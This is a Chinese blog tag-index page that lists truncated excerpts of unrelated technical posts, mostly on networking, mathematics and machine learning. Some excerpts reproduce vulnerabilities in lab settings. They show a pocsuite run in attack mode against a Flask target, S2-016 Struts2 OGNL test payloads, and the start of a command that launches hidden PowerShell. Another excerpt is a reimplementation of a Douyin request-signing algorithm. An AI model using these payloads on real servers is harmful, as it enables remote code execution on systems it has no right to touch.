首页 > TAG信息列表 > 7D

zabbix 5.2.6 监控进程

nginx wiki jira zabbix jumpserver 重启需要电话通知我们？nginx 磁盘90%阈值需要电话通知我们？ 解刨：进程重启需要电话通知给我们 关键点：如何才能知道进程重启了(可以通过获取进程的运行时间) ps -p 进程pid -o etimes   system.run[ps -p $(sudo netstat -lntup|grep 10051|gre

s

https://pypi.tuna.tsinghua.edu.cn/packages/7d/2a/2fc11b54e2742db06297f7fa7f420a0e3069fdcf0e4b57dfec33f0b08622/Pillow-8.4.0.tar.gz

vulhub漏洞复现十五_flask

前言 Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ，模板引擎则使用 Jinja2 。Flask使用 BSD 授权。 Flask也被称为 “microframework” ，因为它使用简单的核心，用 extension 增加其他功能。Flask没有默认使用的数据库、窗体验证工具。 一、 F

编辑距离4：Damerau–Levenshtein distance

一、基本概念 1.1 基本编辑距离的定义         在学习Levenshtein 距离的时候，其定义为：         基础的编辑距离只有3种原子操作： 插入1个字符，删除1个字符，更改1个字符.  且3种操作的代价均为1.         设串A为a1 a2 ... am, 串B为b1 b2 ... bn；将串A经过

五层协议体系结构

  1、物理层 物理层定义的是规程 ( procedure ) ，而不是协议 ( protocol ) ，所以不在此讨论。 2、数据链路层 （1）点对点协议 PPP ( Point-to-Point Protocol ) 。 标志字段 F ( Flag ) 是 PPP 帧的定界符，规定为 0x7E ，二进制为 01111110 。 地址字段 A 规定为 0xFF ，二进制为 111111

实变函数自制笔记6：初识可测函数

1、可测函数及其与简单函数的联系： 可测函数：若为定义在可测集上的广义实值函数，若，点集为可测集，则为上的可测函数，在上可测；简单函数：可测集可以分为有限个不相交的的可测集，且，若函数在每个可测集上取值都为常数，则称上的函数为简单函数；特征函数：对于集合，其特征函数为；则简单函数可以表示

数据链路层（二）——点对点协议 ppp协议

                             HDLC协议是数据链路层协议                 7E FE 27 7D 7D 65 7E   011011111011111000 00011101111111111110  

pocsuite-攻击模式

1、命令行 root@kali:~/code# pocsuite -r exp-flask.py -u http://192.168.142.132:8000 --attack ,------. ,--. ,--. ,----. {1.8.5-nongit-20211111}| .--. ',---. ,---.,---.,--.,--`--,-' '-.,---.'.-. || '--' | .-. | .--( .-'|

连锁不平衡LD以及相关式子的推导

看了几篇LD的相关文章，都只有公式没有相关的解释，所以尝试自己理解一下。 等位基因(alleles)： 同一位点上可能出现的基因，例如ABO血型基因基因型(genotype)： 同一位点上两个等位基因的组合。基因频率(allele frequency)：人群中一个等位基因占该位点全部基因的比例。基因型频率(allele

TRMF 辅助论文：最小二乘法复现TRMF

1 目标函数（总） 论文笔记:Temporal Regularized Matrix Factorization forHigh-dimensional Time Series Prediction_UQI-LIUWJ的博客-CSDN博客 1.1 求解W 我们留下含有W的部分：   然后对wi求导 线性代数笔记：标量、向量、矩阵求导_UQI-LIUWJ的博客-CSDN博客 而是一个标量，

概率论与数理统计-连续型随机变量基础知识（一）

     今天要了解的基础知识是连续型随机变量的概念，常见的连续型随机变量分布。      连续型随机变量的定义是若一个随机变量的分布函数可写成，则该随机变量可称为连续型随机变量，其中为该连续型随机变量的密度函数。连续型随机变量有哪些基本性质呢?       (1)若连续型随

计算机网络注意点

刚做了练习题，踩了点坑，特意记录一下。 1、ppp数据帧删除0后需要有空格。 2、一个PPP帧的数据部分（用十六进制写出）是7D 5E FE 27 7D 5D 7D 5D 65 7D 5E。试问真正的数据是什么（用十六进制写出）？ 答： 7D 5E FE 27 7D 5D 7D 5D 65 7D 5E 为 7E FE 27 7D 7D 65 7E （注意每个字符之间也

GRU反向传播公式推导

1、正向传播 计算图（红色部分不属于时间步t）： 公式：    2、反向传播 GRU反向传播的计算图（红色部分不属于时间步t）： 根据计算图，从上往下推导反向传播的公式。 对于输出激活函数是softmax，损失函数是交叉熵的情况，常用的公式是：                              

推导RNN反向传播

先考虑一个样本（输入和激活都是向量而不是矩阵） 正向传播：                        g是激活函数，例如tanh          输出的激活函数是softmax，损失函数是交叉熵                                   损失函数对所有时间步求和 以上五个式

推荐算法之逻辑回归模型族

目录   1.协同过滤算法族的不足 2.逻辑回归算法 3.Poly2算法 4.FM算法 5.FFM 1.协同过滤算法族的不足 之前的协同过滤算法族局限在于，它仅仅关注用户与物品的交互信息（受限于共现矩阵），而忽视了用户，物品，场景点信息，这使得协同过滤算法在进行推荐的时候忽视许多其他有用的信息。机器

加法模拟器(双语版）

加法模拟器 链接：https://ac.nowcoder.com/acm/problem/22007 来源：牛客网 题目描述 牛牛渐入佳境，他准备做一个加法模拟器来玩玩，输入两个数，分别打印这两个数的横式和竖式运算式子。 输入描述: 输入两个整数a, b 以空格隔开 0 <= a, b <= 1000 输出描述: 第一行打印横式运算式子

超高斯分布及亚高斯分布

超高斯分布： 超高斯分布式指随机过程的四阶累计量恒大于零，并且关于其均值对称分布。相对于高斯分布，超高斯分布的随机过程分布区域较宽，呈现较宽的拖尾。工程中对于超高斯过程常常只指明其偏斜度为0，峭度大于0，即：   亚高斯分布： 亚高斯分布是指随机过程的四阶几类恒小于0，并且关于其

概率论_十 统计量一

前言：   目录：   1： 总体和样本   2： 统计量和常用统计量   3： 分布(卡方分部 )    4： t 分布和 F分布   一 总体和样本      例：          要研究某校5000个学生的身高         目的： 用部分的数据推断出总体未知参数       总体： 研究的对象全体，5000个学生  

强化学习笔记（2）-- 马尔科夫决策过程

目录： 马尔科夫过程 马尔科夫奖励过程 马尔科夫决策过程 MDPs的拓展 1.马尔科夫过程 Markov decision processes formally describe an environment for reinforcement learning, where the environment is fully ovservable. 大部分的RL问题都能用MDPs来描述 最优控制问题

反向传播算法推导过程（非常详细）

原地址：https://zhuanlan.zhihu.com/p/79657669 1. 前向传播 假设  为  的矩阵（其中，  为样本个数（batch size），  为特征维数）:  与  的维数为  为  的矩阵，   与  的维数为  为  的矩阵，   与  的维数为  为  的矩阵，  前向算法： 假设输出为  维，则  

算法导论 3-4 证明与反驳

（渐进记号的性质）假设f(n)和g(n)为渐近正函数。证明或反驳下面的每个猜测。 a. f(n)=O(g(n))蕴含g(n)=O(f(n))。 b. f(n)+g(n)=θ(min(f(n), g(n))。 c. f(n)=O(g(n))蕴含lg(f(n))=O(lg(g(n)))，其中对所有足够大的n，有且。 d. f(n)=O(g(n))蕴含。 e. f(n)=。 f. f(n)=O(g(n))蕴含g(n

某音x-gorgon03算法python版本

可以直接运行测试： import hashlib import time import requests byteTable1 ="D6 28 3B 71 70 76 BE 1B A4 FE 19 57 5E 6C BC 21 B2 14 37 7D 8C A2 FA 67 55 6A 95 E3 FA 67 78 ED 8E 55 33 89 A8 CE 36 B3 5C D6 B2 6F 96 C4 34 B9 6A EC 34 95 C4 FA 72 FF B8 42

S2-016复现

测试POC字典： redirect:%25{3*4} redirect%3A%24%7B3%2A4%7D action%3A%24%7B3%2A4%7D 执行命令： # 进行url编码 redirect:${#a=new java.lang.ProcessBuilder(new java.lang.String[]{"powershell.exe","-NonI","-W","Hidden","-NoP"

凸优化第四章凸优化问题 4.5 几何规划

4.5 几何规划 单项式与正项式几何规划凸形式的几何规划例子 单项式与正项式 函数定义为： 函数f被称为单项式函数，或简称单项式。单项式的指数可以是任意实数，但系数c非负。 单项式的和，成为正项式函数，或简称为正项式，具有下列形式： 正项式对于加法、正数乘和非负的伸缩变换，以及平方运

凸优化第四章凸优化问题 4.3 线性规划问题

4.3 线性规划问题 例子线性分式规划 线性规划 目标函数和约束函数都是仿射函数，问题则称为线性规划。一般的线性规划形式: 其中，显然线性规划问题是凸优化问题。 因为不等式约束函数和等式约束函数都是仿射函数，所以可行集是一个多面体。 所以也就是相等于在多面体中找一个使得最